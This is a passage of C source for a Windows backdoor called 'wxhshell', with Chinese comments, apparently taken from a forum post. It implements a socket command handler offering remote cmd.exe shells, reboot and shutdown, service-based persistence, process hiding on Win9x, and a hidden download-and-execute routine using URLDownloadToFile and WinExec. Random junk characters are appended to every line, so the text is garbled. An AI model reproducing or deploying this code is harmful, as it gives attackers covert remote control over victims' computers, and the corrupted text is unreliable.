  else Vp7b4n<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zlkWU  
  } _FsB6 G]mc  
  else { o#}mkE87  
\ V?I+Gc  
    switch(cmd[0]) { +-ewE-:|L  
  z!Hx @){|  
  // 帮助 8ds}+TtbY  
  case '?': { 5hz_P+Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P` ]ps?l  
    break; \Tkp  
  } qTy v.#{y  
  // 安装 KPggDKS  
  case 'i': { JqEb;NiP)5  
    if(Install()) :8]6#c6`74  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'tuBuYD\  
    else la`"$f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hirr=a3  
    break; wY`#$)O0*  
    } (hsZ  
  // 卸载 6[+j'pW?  
  case 'r': { PbN3;c3  
    if(Uninstall()) {AgBwBCE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^A#x<J+  
    else !gJzg*{u@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T#r=<YH[C  
    break; {(0Id!  
    } +XQP jg  
  // 显示 wxhshell 所在路径 tqhh<u;  
  case 'p': { '!@A}&]  
    char svExeFile[MAX_PATH]; 8Fx]koP.  
    strcpy(svExeFile,"\n\r"); mu>] 9ZW  
      strcat(svExeFile,ExeFile); UR,?!rJ^B  
        send(wsh,svExeFile,strlen(svExeFile),0); ^U{P3 %uZ  
    break; ;@4sd%L8V  
    } UN(3i(d  
  // 重启 )Ga8`t"  
  case 'b': { PW)8aLU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =mLeMk/7 w  
    if(Boot(REBOOT)) +f]u5p[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qK-qcPLsl  
    else { L!vWRwZwC  
    closesocket(wsh); W0?JVtq0Z  
    ExitThread(0); |*1xrM:v~  
    } r\RFDj  
    break; hXTYTbTX  
    } Q@Dkl F  
  // 关机 )Y8qWJU  
  case 'd': { ?FDJqJM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8})|^%@n  
    if(Boot(SHUTDOWN)) tWX7dspx/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^XNw$@&',  
    else { -#OwJ*-U  
    closesocket(wsh); b=G4MZQ  
    ExitThread(0); xD^wTtT  
    } fFHK:n`  
    break; Iu%^*K%  
    } Iht'e8)gq  
  // 获取shell O$U}d-Xnx  
  case 's': { 4znH$M>bU  
    CmdShell(wsh); C$_G'XI  
    closesocket(wsh); 8=pv/o  
    ExitThread(0); A$ J9U3+O  
    break; R. O  
  } ?-S8yqe  
  // 退出 wA1Ey:q  
  case 'x': { XD 5n]AL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OOfy Gvs  
    CloseIt(wsh); []=_<]{  
    break; T;J7+0  
    } }1,'rm T  
  // 离开 l-cW;b~  
  case 'q': { !YY 6o V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y,V6h*x2  
    closesocket(wsh); 9u?Eb~#$  
    WSACleanup(); 3?  };  
    exit(1); ETxp# PZ  
    break; re/xs~  
        } /Bh>  
  } {x9j_/R  
  } Xout:dn  
[.ey_}X8  
  // 提示信息 2'Y{FY_Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nPcxknl(pd  
} a^(2q{*  
  } n 3h^VQ*]G  
<8*A\&  
  return; 7MoR9,(  
} z>7=k`x`:  
}'v{dK  
// shell模块句柄 %uj[`  
int CmdShell(SOCKET sock) ~z&0qQ  
{ WX ,p`>n  
STARTUPINFO si; 1y 1_6TZ+  
ZeroMemory(&si,sizeof(si)); Q7L)f71i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; */4tJ G1U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @K7ebYr?  
PROCESS_INFORMATION ProcessInfo; " cNg :  
char cmdline[]="cmd"; WejyYqr34-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  k~{Fnkt  
  return 0; > n1h^AW  
} [#IBYJ.6  
[;*\P\Xih  
// 自身启动模式 40R"^*  
int StartFromService(void) VZHr-z$6n  
{ 28ja-1dB  
typedef struct 0e)lY='^_  
{ > CH  
  DWORD ExitStatus; "oHp.$+K  
  DWORD PebBaseAddress; '^e0Ud,  
  DWORD AffinityMask; hI*`>9l  
  DWORD BasePriority; |y klT  
  ULONG UniqueProcessId; b/z'`?[  
  ULONG InheritedFromUniqueProcessId; _a fciyso  
}   PROCESS_BASIC_INFORMATION; y?"$(%3|  
CcBQo8!G  
PROCNTQSIP NtQueryInformationProcess;  ccRlql(  
gAj0ukX5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tB]`Hj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :-(U%`a[  
~KJ,SLzhx9  
  HANDLE             hProcess; UE\%e9<l  
  PROCESS_BASIC_INFORMATION pbi; cT\O v P*_  
K!9y+%01  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DE'Xq6#PK  
  if(NULL == hInst ) return 0; 3'.! +#  
HJc<Gwm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fn3*2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K *TnUQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L^6"' #  
"pOqd8>]  
  if (!NtQueryInformationProcess) return 0; 6BUBk>A`  
K1/ U (A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uFz/PDOZ@  
  if(!hProcess) return 0; JvKO $^  
fdN45in=>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "&@gX_%  
cLn;,u4  
  CloseHandle(hProcess); pi|\0lH6W  
]gb _Nv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8b-7]%  
if(hProcess==NULL) return 0; f+{c1fb>s  
ur?d6 a  
HMODULE hMod; $[)6H7!U)  
char procName[255]; ThjUiuWe  
unsigned long cbNeeded; @mvIt  
_2wAaJvA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); joxS+P5#  
Tnf&pu#5  
  CloseHandle(hProcess); th5 X?so  
C_6GOpl  
if(strstr(procName,"services")) return 1; // 以服务启动 cR,'o'V/  
$Vo/CZW7  
  return 0; // 注册表启动 8FAT(f//.  
} ^!q 08`0  
r5D jCV"  
// 主模块 <9=zP/Q  
int StartWxhshell(LPSTR lpCmdLine) X'YfjbGo  
{ n>u.3w L  
  SOCKET wsl; wYZy e^7  
BOOL val=TRUE; W/b"a?wE{  
  int port=0; s.f`.o  
  struct sockaddr_in door; B0 6s6Q  
>_rzT9gX&  
  if(wscfg.ws_autoins) Install(); ` 52% XI  
j kSc&  
port=atoi(lpCmdLine); OD{5m(JwL  
PthId aN@  
if(port<=0) port=wscfg.ws_port; ?lu_}t]  
,lrYl!,  
  WSADATA data; Tm (Q@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X(4s;i  
<]Ij(+J;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FgXu1-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 29&sydu  
  door.sin_family = AF_INET; "2*G$\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qXXYF>Z-  
  door.sin_port = htons(port); CkmlqqUHC  
xR\D(FLV S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hlz'a1\:O]  
closesocket(wsl); pw0Px  
return 1; |Dl*w/n  
} sjkWz2]S  
8:Z@lp^  
  if(listen(wsl,2) == INVALID_SOCKET) { KC&H*  
closesocket(wsl); SNQz8(O  
return 1; qzuQq94k  
} pWWL{@J  
  Wxhshell(wsl); %4?SY82  
  WSACleanup(); qFvg}}^y  
~5lKL5w  
return 0; aQ.Iq  
vpZu.#5c  
} 1"8Z y6t  
`4q5CJ2  
// 以NT服务方式启动 *ah>-}-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v_y!Oh?EG  
{ 6a "VCE]  
DWORD   status = 0; z7O Z4R:  
  DWORD   specificError = 0xfffffff; 0!9?H1>  
W,QnU d'N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *>H M$.?Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r]8wOu-'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q%M'[L?[  
  serviceStatus.dwWin32ExitCode     = 0; o0zc}mm  
  serviceStatus.dwServiceSpecificExitCode = 0; 08<k'Oi]  
  serviceStatus.dwCheckPoint       = 0; F{#N6,T  
  serviceStatus.dwWaitHint       = 0; !yoSMI-  
8[6ny=S`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Vz[ji  
  if (hServiceStatusHandle==0) return; bBkm]  >  
!^c:'I>~  
status = GetLastError(); qZT 4+&y  
  if (status!=NO_ERROR) 3MNhH  
{ 'Qm` A=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4e=/f,o1  
    serviceStatus.dwCheckPoint       = 0; ,Y+r<;  
    serviceStatus.dwWaitHint       = 0; Ss"|1]acP  
    serviceStatus.dwWin32ExitCode     = status; tYI ]LL  
    serviceStatus.dwServiceSpecificExitCode = specificError; V_)5Af3wY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k#1`  
    return; Jngll  
  } >P6^k!R1y  
_hAj2%SL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =]_d pEEQ  
  serviceStatus.dwCheckPoint       = 0; eT7!a']x  
  serviceStatus.dwWaitHint       = 0; ?z\q Mu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sD LVYD  
} =oL8d 6nI  
YtwmlIar`  
// 处理NT服务事件,比如:启动、停止 m.\ >95!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /3CHE8nSh  
{ oso1uAOfp  
switch(fdwControl) D..{|29,:  
{ N<#S3B?.  
case SERVICE_CONTROL_STOP: 2*~JMbm  
  serviceStatus.dwWin32ExitCode = 0; }m=t zHB*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p56KS5duI.  
  serviceStatus.dwCheckPoint   = 0; Jcwh|w9D8  
  serviceStatus.dwWaitHint     = 0; g|&.v2 '  
  { J8sJ~FnUj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l _kg3e4  
  } u4b3bH9U  
  return; LY@1@O2@  
case SERVICE_CONTROL_PAUSE: 9TYw@o5V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5,%J  
  break; f7EIDFX>pt  
case SERVICE_CONTROL_CONTINUE: &^CL] &/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +z]:CF  
  break; aJuj7y-  
case SERVICE_CONTROL_INTERROGATE: 2]of SdM  
  break; ,XWay%8{E  
}; HMEs8.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?G~/{m.  
} WrE-Zti  
W%Y.SP$Y  
// 标准应用程序主函数 H{ n>KZ]\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .c=$ bQ>^  
{ u%+6Mp[E  
E)&NP}k-P  
// 获取操作系统版本 !#,-  
OsIsNt=GetOsVer(); 8!`7-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E"9/YWv  
B#qL$M,|  
  // 从命令行安装 [M7iJcwt  
  if(strpbrk(lpCmdLine,"iI")) Install();  |0C|$2  
9[t]]  
  // 下载执行文件 ({d,oU$>y  
if(wscfg.ws_downexe) { d vg;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x*loACee.  
  WinExec(wscfg.ws_filenam,SW_HIDE); x[GFX8h(k6  
} `@f hge  
hQg,#r(JE4  
if(!OsIsNt) { ;X*K*q  
// 如果时win9x,隐藏进程并且设置为注册表启动 zumR(<l  
HideProc(); 'mBLf&fB  
StartWxhshell(lpCmdLine); OEy:#9<'  
} g[=\KrTSg  
else .-C+0L1j  
  if(StartFromService()) E>l#0Zw  
  // 以服务方式启动 2R_opbw  
  StartServiceCtrlDispatcher(DispatchTable); C,OB3y  
else haEZp6Z  
  // 普通方式启动 *#prSS  
  StartWxhshell(lpCmdLine); \28b_,i+  
~# hE&nq  
return 0; mR" 2  
}
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只看该作者 1 发表于: 2006-10-10
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